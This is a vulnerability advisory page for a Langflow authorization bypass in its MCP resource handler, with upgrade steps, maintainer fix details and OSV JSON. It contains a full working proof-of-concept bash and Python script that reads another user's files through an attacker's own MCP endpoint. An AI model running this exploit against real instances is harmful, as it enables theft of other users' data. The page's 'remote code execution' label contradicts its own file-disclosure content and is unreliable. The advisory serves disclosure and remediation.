CVE-2026-105699: Langflow Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-4hmc-cfm3-w43c
CWE-639
Published
Advisory Summary

CVE-2026-105699 is a HIGH remote code execution vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Langflow libraries in the PyPI ecosystem. The issue involves langflow has authenticated cross-project file disclosure via unscoped mcp resource handlers. Remediation is available by upgrading affected packages to version 1.9.1.

CVE-2026-105699 at a Glance

CVE Identifier CVE-2026-105699
GHSA Identifier GHSA-4hmc-cfm3-w43c
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product Langflow
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-105699

To remediate this vulnerability, upgrade all affected Langflow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

langflow fixed: 1.9.1
pip install langflow>=1.9.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show langflow

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-105699, inspect your installed packages using pip:

pip show langflow

Analyze the terminal output to locate any version of Langflow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.1), your application is affected.

Note: The pip show langflow command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Langflow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Langflow's project-scoped MCP transport authenticates the caller for the `project_id` in the connection URL, but the subsequent `resources/read` operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership. This is a cross-user authorization bypass (`userA -> userB`) that allows arbitrary read access to files stored under other users' flow namespaces. ### Details Verified against local checkout: - Repository: `langflow-ai/langflow` - Verified on release tag: `v1.8.3` - Commit: `08bf98404cfd7737fde57a2588785766cdf1b42e` - Earliest stable release known to contain the vulnerable code path: `v1.6.8` Relevant code path: 1. `src/backend/base/langflow/api/v1/mcp_projects.py:147-193` `verify_project_auth_conditional()` authenticates the caller and checks access only to the `project_id` in the MCP transport URL. 2. `src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241` The project-scoped MCP server registers `read_resource()` and forwards the attacker-controlled URI directly to `handle_read_resource(uri=uri)`. 3. `src/backend/base/langflow/api/v1/mcp_utils.py:163-182` `handle_read_resource()` parses the last two URI path segments as `flow_id` and `filename`, then directly calls: ```python storage_service.get_file(flow_id=flow_id, file_name=filename) ``` No check ties the supplied `flow_id` back to the authenticated user or the current project. 4. `src/backend/base/langflow/services/storage/local.py:141-149` `src/backend/base/langflow/services/storage/s3.py:200-217` The storage layer performs a raw namespace read and is not authorization-aware. The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI. This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data: - `src/backend/base/langflow/api/v1/mcp_utils.py:102-121` `handle_list_resources(project_id=None)` lists files for all flows. - `src/backend/base/langflow/api/v1/mcp_utils.py:333-380` `handle_list_tools(project_id=None)` queries all flows and includes flow IDs in tool metadata. That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier. ### PoC Preconditions: - Langflow is running locally with authentication enabled. - Two separate users exist on the same instance. - The victim has a flow with an uploaded file. - The attacker has access to any project they own. Verify the issue locally by starting Langflow with: ```bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow' set -a source .env.verify set +a export LANGFLOW_CONFIG_DIR="$PWD/.langflow-verify" uv run python - <<'PY' from langflow.main import setup_app import uvicorn app = setup_app(backend_only=True) uvicorn.run(app, host="127.0.0.1", port=7860, log_level="debug") PY ``` Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that: - the normal file download route is blocked for the attacker (`404`) - the same file is readable through the attacker's own project-scoped MCP connection ```bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow' set -euo pipefail export BASE='http://127.0.0.1:7860' export PASS='Passw0rd!Passw0rd!' export VICTIM_USER="victim.$RANDOM@example.com" export ATTACKER_USER="attacker.$RANDOM@example.com" curl -sS -X POST "$BASE/api/v1/users/" \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$VICTIM_USER\",\"password\":\"$PASS\"}" >/dev/null curl -sS -X POST "$BASE/api/v1/users/" \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$PASS\"}" >/dev/null export VICTIM_TOKEN=$( curl -sS -X POST "$BASE/api/v1/login" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "username=$VICTIM_USER" \ --data-urlencode "password=$PASS" | jq -r '.access_token' ) export ATTACKER_TOKEN=$( curl -sS -X POST "$BASE/api/v1/login" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "username=$ATTACKER_USER" \ --data-urlencode "password=$PASS" | jq -r '.access_token' ) export VICTIM_PROJECT_ID=$( curl -sS -X POST "$BASE/api/v1/projects/" \ -H "Authorization: Bearer $VICTIM_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"victim-project"}' | jq -r '.id' ) export ATTACKER_PROJECT_ID=$( curl -sS -X POST "$BASE/api/v1/projects/" \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"attacker-project"}' | jq -r '.id' ) export VICTIM_FLOW_ID=$( curl -sS -X POST "$BASE/api/v1/flows/" \ -H "Authorization: Bearer $VICTIM_TOKEN" \ -H 'Content-Type: application/json' \ -d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folder_id\":\"$VICTIM_PROJECT_ID\"}" \ | jq -r '.id' ) printf 'cross-project-read-proof\n' > /tmp/secret.txt export UPLOAD_JSON=$( curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIM_FLOW_ID" \ -H "Authorization: Bearer $VICTIM_TOKEN" \ -F "file=@/tmp/secret.txt" ) export VICTIM_FILE=$( printf '%s' "$UPLOAD_JSON" | jq -r '.file_path | split("/") | last' ) export VICTIM_URI="$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE" export ATTACKER_API_KEY=$( curl -sS -X POST "$BASE/api/v1/api_key/" \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"attacker-mcp-key"}' | jq -r '.api_key' ) export DIRECT_STATUS=$( curl -sS -o /dev/null -w '%{http_code}' \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ "$VICTIM_URI" ) export MCP_READ_OUTPUT=$( uv run python - <<'PY' import asyncio import base64 import os import httpx from mcp import ClientSession from mcp.client.streamable_http import streamable_http_client base = os.environ["BASE"] project_id = os.environ["ATTACKER_PROJECT_ID"] api_key = os.environ["ATTACKER_API_KEY"] victim_uri = os.environ["VICTIM_URI"] url = f"{base}/api/v1/mcp/project/{project_id}/streamable" async def main(): async with httpx.AsyncClient(headers={"x-api-key": api_key}, timeout=30.0) as client: async with streamable_http_client(url, http_client=client) as (read_stream, write_stream, _): async with ClientSession(read_stream, write_stream) as session: await session.initialize() result = await session.read_resource(victim_uri) blob = result.contents[0].blob print(base64.b64decode(base64.b64decode(blob)).decode().strip()) asyncio.run(main()) PY ) echo "Direct /files/download as attacker -> $DIRECT_STATUS" echo "Project-scoped MCP resources/read -> $MCP_READ_OUTPUT" ``` Expected output: ```text Direct /files/download as attacker -> 404 Project-scoped MCP resources/read -> cross-project-read-proof ``` Observed server logs during verification: ```text GET /api/v1/files/download/... 404 Not Found POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK POST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK ``` ### Impact This is an authenticated IDOR / arbitrary file read issue in the MCP layer. Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to `resources/read`. Practical impact includes: - Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts - Unauthorized access to sensitive business data stored in flow namespaces - Easier exploitation when global MCP helpers reveal other users' flow IDs and file names ### Suggested Remediations 1. Authorize `resources/read` against the authenticated context before calling storage. Resolve `flow_id` to a database object and require both: `flow.user_id == current_user.id` and, for project-scoped transports, `flow.folder_id == current_project_id`. 2. Stop trusting arbitrary file-download URIs as resource identifiers. Instead, return opaque server-generated resource IDs from `resources/list` and resolve them server-side to an already authorized object. 3. Scope global MCP enumeration helpers to the authenticated user. `handle_list_resources()` and `handle_list_tools()` should not query all flows when `project_id=None`; they should return only flows owned by the current user, or require elevated privileges for broader discovery. ### Fix Status (Maintainer Triage Update — 2026-09-22) This report is accurate. The vulnerable code path described above (missing ownership check in `handle_read_resource()`) has since been fixed. **Corrected affected version range:** `>= 1.6.8, <= 1.9.0` (not `<= 1.8.3` — confirmed still vulnerable through `v1.9.0`; the fix landed with the `v1.9.1` release, not later). **Fixed in:** `v1.9.1` (GitHub Release published 2026-04-24), via PR [#12818 — "fix(mcp): close path traversal + cross-user disclosure (PVR0754098)"](https://github.com/langflow-ai/langflow/pull/12818). - Backport commit on `release-1.9.1`: `f0fd436fe9829192ee550e6cb46961a01dd37032` - Corresponding commit on `main`: `b8fe970493fd5fb2e1fc71dfccc79f90b76058fa` The fix: - `handle_read_resource()` now requires an authenticated user context and resolves the namespace segment of the URI to a `Flow` row scoped to `Flow.user_id == current_user.id`, additionally filtering on `Flow.folder_id == project_id` for project-scoped MCP servers (`src/backend/base/langflow/api/v1/mcp_utils.py`). - Rejects filenames containing `..`, `/`, or `\` as defense-in-depth against path traversal, and applies the same containment check to the storage layer's `get_file`/`get_file_stream`/`delete_file`/`get_file_size` (`local.py`/`s3.py`, both in `langflow` and `lfx`). - `handle_list_resources()` / `handle_list_tools()` are now scoped to `current_user.id` on the global (non-project) MCP server, closing the cross-user enumeration this report also flagged. Verified independently against `langflow-ai/langflow` @ `89444c3bb5` (release-1.11.0 branch, current as of 2026-09-22): the fix is present, and the regression suite (`src/backend/tests/unit/api/v1/test_mcp_utils.py`, 21/21 passing) includes `test_handle_read_resource_denies_other_users_flow`, which reproduces this report's exact cross-user scenario and asserts it now raises `ValueError("... access denied")`.

CVE-2026-105699 Affected Langflow Versions

1 component(s)
Fixed Versions:
1.9.1
Product / Package Ecosystem Affected Versions Fixed Version
langflow
PyPI
≥ 1.6.8
< 1.9.1
1.9.1

References

Frequently Asked Questions

What is CVE-2026-105699?
CVE-2026-105699 is a security vulnerability in Langflow involving Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Langflow versions are affected?
Affected versions include releases prior to 1.9.1 across affected packages: langflow.
What version fixes CVE-2026-105699?
Upgrading to 1.9.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is langflow affected?
Yes, langflow is affected in releases prior to 1.9.1. Upgrade your dependency to 1.9.1 or later.
What CWE is associated with CVE-2026-105699?
CVE-2026-105699 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check PyPI dependencies for CVE-2026-105699?
Run the dependency tree command: 'pip show langflow'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4hmc-cfm3-w43c",
  "modified" : "2026-10-07T20:35:12Z",
  "published" : "2026-10-07T20:35:12Z",
  "aliases" : [ "CVE-2026-105699" ],
  "summary" : "Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers",
  "details" : "### Summary\nLangflow's project-scoped MCP transport authenticates the caller for the `project_id` in the connection URL, but the subsequent `resources/read` operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.\n\nThis is a cross-user authorization bypass (`userA -> userB`) that allows arbitrary read access to files stored under other users' flow namespaces.\n\n### Details\nVerified against local checkout:\n\n- Repository: `langflow-ai/langflow`\n- Verified on release tag: `v1.8.3`\n- Commit: `08bf98404cfd7737fde57a2588785766cdf1b42e`\n- Earliest stable release known to contain the vulnerable code path: `v1.6.8`\n\nRelevant code path:\n\n1. `src/backend/base/langflow/api/v1/mcp_projects.py:147-193`\n   `verify_project_auth_conditional()` authenticates the caller and checks access only to the `project_id` in the MCP transport URL.\n\n2. `src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241`\n   The project-scoped MCP server registers `read_resource()` and forwards the attacker-controlled URI directly to `handle_read_resource(uri=uri)`.\n\n3. `src/backend/base/langflow/api/v1/mcp_utils.py:163-182`\n   `handle_read_resource()` parses the last two URI path segments as `flow_id` and `filename`, then directly calls:\n\n   ```python\n   storage_service.get_file(flow_id=flow_id, file_name=filename)\n   ```\n\n   No check ties the supplied `flow_id` back to the authenticated user or the current project.\n\n4. `src/backend/base/langflow/services/storage/local.py:141-149`\n   `src/backend/base/langflow/services/storage/s3.py:200-217`\n   The storage layer performs a raw namespace read and is not authorization-aware.\n\nThe result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.\n\nThis issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:\n\n- `src/backend/base/langflow/api/v1/mcp_utils.py:102-121`\n  `handle_list_resources(project_id=None)` lists files for all flows.\n- `src/backend/base/langflow/api/v1/mcp_utils.py:333-380`\n  `handle_list_tools(project_id=None)` queries all flows and includes flow IDs in tool metadata.\n\nThat global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.\n\n### PoC\nPreconditions:\n\n- Langflow is running locally with authentication enabled.\n- Two separate users exist on the same instance.\n- The victim has a flow with an uploaded file.\n- The attacker has access to any project they own.\n\nVerify the issue locally by starting Langflow with:\n\n```bash\ncd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'\n\nset -a\nsource .env.verify\nset +a\n\nexport LANGFLOW_CONFIG_DIR=\"$PWD/.langflow-verify\"\n\nuv run python - <<'PY'\nfrom langflow.main import setup_app\nimport uvicorn\n\napp = setup_app(backend_only=True)\nuvicorn.run(app, host=\"127.0.0.1\", port=7860, log_level=\"debug\")\nPY\n```\n\nThen, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:\n\n- the normal file download route is blocked for the attacker (`404`)\n- the same file is readable through the attacker's own project-scoped MCP connection\n\n```bash\ncd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'\nset -euo pipefail\n\nexport BASE='http://127.0.0.1:7860'\nexport PASS='Passw0rd!Passw0rd!'\nexport VICTIM_USER=\"victim.$RANDOM@example.com\"\nexport ATTACKER_USER=\"attacker.$RANDOM@example.com\"\n\ncurl -sS -X POST \"$BASE/api/v1/users/\" \\\n  -H 'Content-Type: application/json' \\\n  -d \"{\\\"username\\\":\\\"$VICTIM_USER\\\",\\\"password\\\":\\\"$PASS\\\"}\" >/dev/null\n\ncurl -sS -X POST \"$BASE/api/v1/users/\" \\\n  -H 'Content-Type: application/json' \\\n  -d \"{\\\"username\\\":\\\"$ATTACKER_USER\\\",\\\"password\\\":\\\"$PASS\\\"}\" >/dev/null\n\nexport VICTIM_TOKEN=$(\n  curl -sS -X POST \"$BASE/api/v1/login\" \\\n    -H 'Content-Type: application/x-www-form-urlencoded' \\\n    --data-urlencode \"username=$VICTIM_USER\" \\\n    --data-urlencode \"password=$PASS\" | jq -r '.access_token'\n)\n\nexport ATTACKER_TOKEN=$(\n  curl -sS -X POST \"$BASE/api/v1/login\" \\\n    -H 'Content-Type: application/x-www-form-urlencoded' \\\n    --data-urlencode \"username=$ATTACKER_USER\" \\\n    --data-urlencode \"password=$PASS\" | jq -r '.access_token'\n)\n\nexport VICTIM_PROJECT_ID=$(\n  curl -sS -X POST \"$BASE/api/v1/projects/\" \\\n    -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"name\":\"victim-project\"}' | jq -r '.id'\n)\n\nexport ATTACKER_PROJECT_ID=$(\n  curl -sS -X POST \"$BASE/api/v1/projects/\" \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"name\":\"attacker-project\"}' | jq -r '.id'\n)\n\nexport VICTIM_FLOW_ID=$(\n  curl -sS -X POST \"$BASE/api/v1/flows/\" \\\n    -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n    -H 'Content-Type: application/json' \\\n    -d \"{\\\"name\\\":\\\"victim-flow\\\",\\\"data\\\":{\\\"nodes\\\":[],\\\"edges\\\":[]},\\\"folder_id\\\":\\\"$VICTIM_PROJECT_ID\\\"}\" \\\n    | jq -r '.id'\n)\n\nprintf 'cross-project-read-proof\\n' > /tmp/secret.txt\n\nexport UPLOAD_JSON=$(\n  curl -sS -X POST \"$BASE/api/v1/files/upload/$VICTIM_FLOW_ID\" \\\n    -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n    -F \"file=@/tmp/secret.txt\"\n)\n\nexport VICTIM_FILE=$(\n  printf '%s' \"$UPLOAD_JSON\" | jq -r '.file_path | split(\"/\") | last'\n)\n\nexport VICTIM_URI=\"$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE\"\n\nexport ATTACKER_API_KEY=$(\n  curl -sS -X POST \"$BASE/api/v1/api_key/\" \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"name\":\"attacker-mcp-key\"}' | jq -r '.api_key'\n)\n\nexport DIRECT_STATUS=$(\n  curl -sS -o /dev/null -w '%{http_code}' \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n    \"$VICTIM_URI\"\n)\n\nexport MCP_READ_OUTPUT=$(\nuv run python - <<'PY'\nimport asyncio\nimport base64\nimport os\n\nimport httpx\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamable_http_client\n\nbase = os.environ[\"BASE\"]\nproject_id = os.environ[\"ATTACKER_PROJECT_ID\"]\napi_key = os.environ[\"ATTACKER_API_KEY\"]\nvictim_uri = os.environ[\"VICTIM_URI\"]\nurl = f\"{base}/api/v1/mcp/project/{project_id}/streamable\"\n\nasync def main():\n    async with httpx.AsyncClient(headers={\"x-api-key\": api_key}, timeout=30.0) as client:\n        async with streamable_http_client(url, http_client=client) as (read_stream, write_stream, _):\n            async with ClientSession(read_stream, write_stream) as session:\n                await session.initialize()\n                result = await session.read_resource(victim_uri)\n                blob = result.contents[0].blob\n                print(base64.b64decode(base64.b64decode(blob)).decode().strip())\n\nasyncio.run(main())\nPY\n)\n\necho \"Direct /files/download as attacker -> $DIRECT_STATUS\"\necho \"Project-scoped MCP resources/read -> $MCP_READ_OUTPUT\"\n```\n\nExpected output:\n\n```text\nDirect /files/download as attacker -> 404\nProject-scoped MCP resources/read -> cross-project-read-proof\n```\n\nObserved server logs during verification:\n\n```text\nGET /api/v1/files/download/... 404 Not Found\nPOST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK\nPOST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted\nPOST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK\n```\n\n### Impact\nThis is an authenticated IDOR / arbitrary file read issue in the MCP layer.\n\nAny authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to `resources/read`.\n\nPractical impact includes:\n\n- Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts\n- Unauthorized access to sensitive business data stored in flow namespaces\n- Easier exploitation when global MCP helpers reveal other users' flow IDs and file names\n\n### Suggested Remediations\n1. Authorize `resources/read` against the authenticated context before calling storage.\n   Resolve `flow_id` to a database object and require both:\n   `flow.user_id == current_user.id`\n   and, for project-scoped transports, `flow.folder_id == current_project_id`.\n\n2. Stop trusting arbitrary file-download URIs as resource identifiers.\n   Instead, return opaque server-generated resource IDs from `resources/list` and resolve them server-side to an already authorized object.\n\n3. Scope global MCP enumeration helpers to the authenticated user.\n   `handle_list_resources()` and `handle_list_tools()` should not query all flows when `project_id=None`; they should return only flows owned by the current user, or require elevated privileges for broader discovery.\n\n\n\n### Fix Status (Maintainer Triage Update — 2026-09-22)\n\nThis report is accurate. The vulnerable code path described above (missing\nownership check in `handle_read_resource()`) has since been fixed.\n\n**Corrected affected version range:** `>= 1.6.8, <= 1.9.0` (not `<= 1.8.3` —\nconfirmed still vulnerable through `v1.9.0`; the fix landed with the `v1.9.1`\nrelease, not later).\n\n**Fixed in:** `v1.9.1` (GitHub Release published 2026-04-24), via PR\n[#12818 — \"fix(mcp): close path traversal + cross-user disclosure (PVR0754098)\"](https://github.com/langflow-ai/langflow/pull/12818).\n- Backport commit on `release-1.9.1`: `f0fd436fe9829192ee550e6cb46961a01dd37032`\n- Corresponding commit on `main`: `b8fe970493fd5fb2e1fc71dfccc79f90b76058fa`\n\nThe fix:\n- `handle_read_resource()` now requires an authenticated user context and\n  resolves the namespace segment of the URI to a `Flow` row scoped to\n  `Flow.user_id == current_user.id`, additionally filtering on\n  `Flow.folder_id == project_id` for project-scoped MCP servers\n  (`src/backend/base/langflow/api/v1/mcp_utils.py`).\n- Rejects filenames containing `..`, `/`, or `\\` as defense-in-depth against\n  path traversal, and applies the same containment check to the storage\n  layer's `get_file`/`get_file_stream`/`delete_file`/`get_file_size`\n  (`local.py`/`s3.py`, both in `langflow` and `lfx`).\n- `handle_list_resources()` / `handle_list_tools()` are now scoped to\n  `current_user.id` on the global (non-project) MCP server, closing the\n  cross-user enumeration this report also flagged.\n\nVerified independently against `langflow-ai/langflow` @ `89444c3bb5`\n(release-1.11.0 branch, current as of 2026-09-22): the fix is present, and\nthe regression suite (`src/backend/tests/unit/api/v1/test_mcp_utils.py`,\n21/21 passing) includes `test_handle_read_resource_denies_other_users_flow`,\nwhich reproduces this report's exact cross-user scenario and asserts it now\nraises `ValueError(\"... access denied\")`.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "langflow"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.6.8"
      }, {
        "fixed" : "1.9.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.9.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/langflow-ai/langflow/security/advisories/GHSA-4hmc-cfm3-w43c"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-105699"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langflow-ai/langflow/pull/12818"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langflow-ai/langflow/commit/b8fe970493fd5fb2e1fc71dfccc79f90b76058fa"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langflow-ai/langflow/commit/f0fd436fe9829192ee550e6cb46961a01dd37032"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/langflow-ai/langflow"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langflow-ai/langflow/releases/tag/v1.9.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-07T20:35:12Z",
    "nvd_published_at" : "2026-10-05T21:16:35Z"
  }
}